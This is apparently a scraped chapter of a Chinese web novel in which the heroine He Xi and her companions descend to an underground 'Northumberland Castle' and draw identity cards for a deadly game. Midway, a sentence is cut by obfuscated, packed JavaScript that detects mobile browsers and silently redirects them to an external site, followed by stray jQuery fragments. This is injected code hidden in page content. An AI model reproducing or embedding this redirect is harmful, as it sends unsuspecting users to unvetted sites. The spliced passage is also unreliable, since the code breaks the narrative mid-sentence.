李正则凝眸看向贺玺，观察的目光一寸寸扫过她略显清瘦秀气的面庞，试图铺捉到哪怕意思躲闪的眼神、一瞬僵硬的线条，或是半点说谎时难以掩盖的心绪痕迹。


    但什么都没有。


    贺玺的神情像是云烟漫过湖面，不见丝毫波澜。这份云淡风轻将李正则心中因揣测而起的焦躁悄然抚平，替换为一种莫名的安心。


    半个小时很快就过去了。


    罗雀兴高采烈的开始了自己的唱票行动，贺玺有时总会产生一种错觉，站在自己面前的似乎并不是一个神秘组织的成员，而是一个还没有长大的孩子。


    “贺玺，一票。”


    “郑清风，一票。”


    “叶若晨，一票。”


    ……


    很快，投票的结果就被投印在墙壁上。如贺玺的预料的一样，叶若澜和郑清风最后并没有达成共识，她以绝对优势胜出。


    但票型却让她有些困惑，赵林、郑清风、叶若辰、卢倩各有一票，她四票胜出。


    卢倩的票是她投的，自己多出来的那票也不难推出是谁投的。


    只是不知道这到底是叶若辰自己的想法，还是他姐姐的授意。


    贺玺朝他的方向看去，叶若辰静静站在叶若澜的身边，和平常一样乖巧淡然。


    正当她有些微微出神时，就感觉自己的肩膀一沉。罗雀兴奋地将双手搭在他的肩头：


    “520号，你果然是我看好的人！”


    贺玺有些尴尬，她还做不到忽略周围射来的略带妒忌的目光，但又无法拒绝罗雀，只能礼貌微笑：“谢谢。”


    不等她做好准备，罗雀的脸颊带着一阵微风飞快的贴向贺玺的脸颊，隐约间她似乎闻见了一股玉兰花的芳香。


    “520号，记住。”


    “质疑所有在潜意识中理所当然的事情。”


    “愿好运与你相随。”


    ……


    天色暗的比前几日早了几分，往常这个时间还能够看见悬在地平线上的太阳，此刻却只剩下西天一抹淡得几乎要化开的橘红。


    虽然室内是恒温的，但不知为何竟让人下意识缩了缩肩膀。


    贺玺自从回到寝室后就始终一言不发。


    罗雀给的提示太过于笼统，她一时间根本摸不清头绪。


    什么叫质疑潜意识里理所当然的事？


    如同太阳从东边升起，泽光星自西向东自转，昼夜交替出现？


    她默默低头陷入沉思，手指无意识的反复摸索着衣角。


    直到第二天离开宿舍时，贺玺依旧没有弄清楚，这句话到底是什么意思。


    “喂，你这想了一晚上，有没有想到什么有用的计策啊。”柳松挤到贺玺身边询问道。


    贺玺摇了摇头，少年你戳到我的心窝了。


    柳松发现她眼下的乌青色更严重了，小声跟李正则吐槽，“她这也不行啊。”


    李正则没说话，再次用眼神制止了柳松。


    穿过回廊，进入电梯，金属舱门在身后无声闭合。舱内的灯光随着下行微微波动，数字面板上的楼层数飞速递减，最终定个在了“-3”上。轿厢停稳，门一打开，一阵陌生的凉意扑面而来。


    这是他们之前从未踏足过的全新区域，原来的废旧工业区并没有地下工事，宋云迟给的报告中显示这块区域被买下后，一直处于空闲的状态。应当是烬日自行加盖的空间，但因为完全保留了上部的建筑群，居然没有被联邦的卫星监控捕捉到。


    众人跟随墙壁上的指示灯走进黑暗的走廊，脚下的感应地砖随步伐亮起淡青色的轨迹。尽头，一道弧形的自动感应门随之开启，眼前的空间豁然开朗。


    幽微的光线从彩绘玻璃窗照射进来，在石质的地面上投下五彩斑斓的光影。两侧墙壁前隔横亘着一张深褐色的橡木长桌，桌面是大自然雕刻出的碎月沟壑，四把高背雕花椅对称罗列其旁。


    长桌之间，一条狭窄的石砖通道笔直的延伸，连接向房间中央的一座圆形石台。台面由整块黑石打磨而成，在彩色光芒中给人一种吞噬一切的效果。


    圆台上，罗雀身着一袭深紫色的天鹅绒长袍，领口和袖口以银线绣出反复的卷草纹，边缘垂落着细密的珍珠流苏。头戴搭配羽毛的礼帽，内里是一件黑色束腰短上衣，腰间系着鎏金雕花皮带，悬挂一把镶着红宝石的短剑。下身则是白色亚麻长裤，裤脚塞进黑色牛皮长靴，靴筒处点缀着精致的金属饰扣。


    贺玺被他这幅打扮惊艳了一下。


    罗雀本就很白，高挺的鼻梁，精致的轮廓，和贺玺的面容不同。深棕色的短发打理的一丝不苟，额前几率碎发遮住他深邃的眼眸。


    如果按照旧历的的说法来看，对方和她并不是一个人种。


    随着最后的叶若辰进入房间，弧形大门缓缓关闭，就好像他们真的进入了中世纪古堡一般。


    “欢迎各位来到诺森伯兰古堡，我是你们的调停者罗雀。”他左手扶右胸，右手脱帽，身体前躬并点头。


    很标准的礼仪。


    “诺森伯兰古堡？”李正则喃喃道。


    贺玺敏锐注意到他脸色看起来不是很好，有些关切的试探询问道：“怎么了？你听说过这个地方？”


    李正则点了点头，他努力让自己略有颤抖的声音平静下来。


    “它是瑟拉菲州北部尤克特拉希尔山脉的一座古堡，在大灾变后是为数不多未受侵害的‘隔离地带’。人们了解到它时，都将他称作血色古堡。”


    “在大灾变后，有两伙武装力量同时发现了这篇安宁之地，但当地居民声称资源有限拒绝他们进入山区。当时人类社会的秩序早已崩塌，所以没过多久，他们就联手将当地人屠戮殆尽。并以霜喉峰东西面为界，就此划分所有底盘。”


    “随着夏季的到来，西山面或许是受季风影响，越来越容易收到畸形种的攻击，大量居民出现感染畸变。于是西部首领提出与东部进行谈判，希望能够划分部分背风区域给他们。”


    “他们谈判的地点，就定在霜喉峰山顶的诺森伯兰古堡。”


    李正则正要继续往下说，却突然被台上的罗雀打断。


    “现在，请各位按照号码顺序，到我这里来领取游戏规则和自己的身份信息。”罗雀一边说，一边将自己的礼帽工工整整的戴好。


    卢倩回头给贺玺一个安慰的眼神，率先朝圆台走去。


    她是518号，排在第一位


    “所以这次谈判的结果如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340403|183371||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何？”贺玺转过头，朝李正则问。


    “双方两败俱伤，绝大多数前来谈判的人员都死在了古堡之中。”


    “据说古堡青灰石砖被浓稠的血浸透，血珠顺着缝隙滴落，聚成一块浅浅的血池。血腥味在古堡里打转，每一处角落都浸着死亡的死寂，再无半分往日庄严。”


    圆台上卢倩已经抽取完了自己的身份，她倒吸一口凉气，回头看了一眼众人，转身走向了左侧的长桌。


    贺玺深呼吸，踏上石阶。


    烬日就像在养蛊，让他们不断在拼杀中决出胜利者，那么这次，又要死多少人才能够罢休呢？


    “你好，520号。”罗雀的声音一如既往的充满活力。


    贺玺努力开心的回复道：“你好。”


    “现在请你从剩下的七章卡牌中，抽取一张属于你自己的身份卡。”罗雀右手从桌面上拂过，七张一摸一样的卡牌从他的指尖一次排开。


    贺玺眼眸低垂，瞳仁紧缩。


    一轮暗金色的太阳悬于其上，在暗红色的火焰中逐渐化作灰烬。


    她快速调整自己的呼吸和面部肌肉，努力让自己的表情看起来和平常一样淡然，她感觉无形的眼睛落在自己的肩上，只要稍有风吹早动就会被洞穿。


    “我选这张。”贺玺指了指从左到右的第五张卡片。


    罗雀将卡牌推给她，略有兴味的问道“我可以知道为了什么吗？”


    “五，我的幸运数字。”贺玺简明扼要的快速回答。


    “哦，但愿它能保佑你。”罗雀微笑着说道。


    贺玺翻转过卡片，一个滑稽的盗贼形象出现。


    背上鼓鼓囊囊的粗麻袋压的他直不起腰，袋口没扎紧，能窥见里面露出的金币。他脸上扣着个半遮面的布制面具，灰扑扑的布料只露出一双狡猾的眼睛，以及鼻子下方半张着的嘴，紧张又贪婪的模样活灵活现。


    “为了公平性考虑，请先不要阅读规则。”罗雀递给她一张新的卡片，这张比身份卡看起来大了许多，背后同样画着燃烧殆尽的太阳。


    他伸出右手，做了个请的姿势，“你的坐位在左侧。”


    贺玺将身份卡塞进了胸口，第一反应她不觉得盗贼会是什么好身份。不过看向长桌旁的卢倩，她心里又安稳了几分，最起码自己的队友很可靠，不是吗？


    还没等她庆幸多久，紧接着，赵林和郑清风也依次做到了她的身边。


    贺玺：我去了……


    这选边是按照序号顺序来的吗？也太凑巧了吧？


    这从概率学的角度上来看，大概只有2.86%的可能性。


    贺玺皱眉，难道让他们抽牌其实只是个幌子，每个人的身份和阵营全部都是被罗雀操控的吗？


    郑清风坐下的第一件事，就是翻看游戏规则。


    赵林试图阻拦他，“你疯了？”


    “放心，不会有事。”郑清风丝毫没把她的话放在心上，“以前每次有什么禁令都会声明处罚。这次只说了处于公平考虑，还有别的吗？”


    赵林被他的话动摇了，只是一瞬的犹豫，郑清风已经把规则卡翻了过来。


    贺玺望向圆台，罗雀似乎没有注意到这边的动向，依旧扮演着调停者的身份。